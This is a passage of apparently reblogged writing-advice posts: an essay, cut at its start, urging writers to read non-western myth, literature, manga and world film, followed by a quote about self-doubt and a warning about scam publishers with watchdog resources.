That’s a small sample. Read. Read everything. You probably had to read Shakespeare or Beowulf or Chaucer. Now read the Tales of Genji or Popol Vuh. Read books on religion - read Buddhist Scripture or Hindu tales. Find the Mythology section of your local library or bookstore and park yourself there. Read stories. Many myths or folk tales are only a page or two long, and you can read them in short bursts, putting the book back when you’re done. Open up a book on Daoist philosophy or Confucianism or read about the Aztecs. Explore the Fertile Crescent. Read about the Mongolians, examine Art that isn’t western, isn’t European, and then figure out why the very core Philosophies of art were different. Discover perspective. Read about Africa, and not just Egypt. Study Archaeology or Anthropology or History. Take Art History. Read Non-western Literature Canon. File away everything for later use.

If you live in the US, go to a local Native Reservation and buy out their folktale book section. Or their history section. (Always patron Natives rather than buying rip off works! Boycott Urban Outfitters. You know the drill!) Hell, go to any culturally specific place, and buy their books. Chinatown, Little Mexico, the neighborhoods have books and libraries and they cling to them, because keeping this identity and cultural connection alive can be hard sometimes.

Walk into a Comic Convention. Tell yourself you cannot buy anything that doesn’t:

A.) Have a Protagonist of Color and/or

B.) Was written by a POC.

See how much you can buy besides a whole lot of manga or anime. (If you buy Manga or anime, buy the kind that contains specific cultural narratives.)

Actually, if you’re curious, I encourage the buying of Manga and Anime over American mainstream comics in general. Buy the hell out of Indie comics that feature POC/LGBTQ/etc. But be forewarned about DC/Marvel and their imprints: they will fuck your favorite characters over. Frequently. The fandom will not welcome you as a POC/Woman/WOC/LGBTQ unless you only hang out with those folks. The rest of them? They’re privileged assholes who will question your right to play in their sandbox or critique their toys. They’re rude, and they’re also in charge of the companies. Finding an American DC/Marvel comic written, inked, and colored by women is like finding gold lying on the sidewalk. It’s really rare. Finding that in Manga or Anime? Some of the most popular series are written by women. At least half the series on any given shelf are by women. You’ll find more LGBTQ stories in Manga/Anime than you will in any American comic. They may not all be portrayed in the best or most thoughtful light but you’re talking about having maybe one or two characters versus having entire ‘genre’ sections dedicated to these kinds of characters. Yes, Yaoi/Yuri can be fetishizing. There are also lots of really good romances within those genres or within the regular mainstream stories that are just presented as part of the story. (Hello Sailor Moon.)

If you don’t want to say, read a Buddhist scripture, pick up Tezuka’s Buddha. Look for the dozens of adaptions of different popular myths and legends into Fantasy series. Watch Wuxia films. Enjoy Toku live action. Find a place to see Bollywood films. Watch Nollywood films. Search for Novellas that have Fantasy elements or Korean Dramas or Japanese Dramas or Mandarin Chinese Dramas. Take advantage of Hulu’s Anime and Korean Dramas. Watch Generator Rex (he’s half Mexican.) Watch shows with subtitles. Movies with Subtitles. Steal away in the pages of History books. Read critical literature of your favorite series: read Harry Potter Critiques or Lord of the Rings Critiques or A Game of Throne Critiques. Read TVtropes and critique them.

Ultimately, that’s my good recommendation. Read everything.

[writerswritecompany]

We all need to do our writing apprenticeships. We all have to make a living while we write our books. Have you considered trying one of these writing jobs?

From The Write Life Magazine

[roguepostits-deactivated2018011]

If you find yourself asking, “Am I really a writer? Am I really an artist?" chances are you are. The counterfeit innovator is wildly self-confident. The real one is scared to death.

Steven Pressfield (via roguepostits)

[bisexualpiratequeen]

Warning to writers

While you are worrying about whether beta readers will steal your ideas, there is a more genuine threat on the horizon.

When offered a publishing contract, please do all your research before you sign. There are a number of fakes and scammers out there, as well as good-intentioned amateurs that don’t know how to get your work to a wide audience. I won’t tell the heartbreaking stories here - there are too many.

Being published badly is worse than being never published.

It can destroy your career and your dreams.

The quick check is to google the publishing house name + scam or warning.

But, to be sure, check with these places first. They aren’t infallible (nothing is) but they can help you protect yourself. They are written and maintained by expereinced writers, editors, publishers and legal folks.

Absolute Write: Bewares and Background Checks

Preditors and editors

Writer Beware

and the WRITER BEWARE blog

Keep yourself and your work safe.

This is really important, so if you are a writer or have writer friends, or you are a writing blog, please reblog it.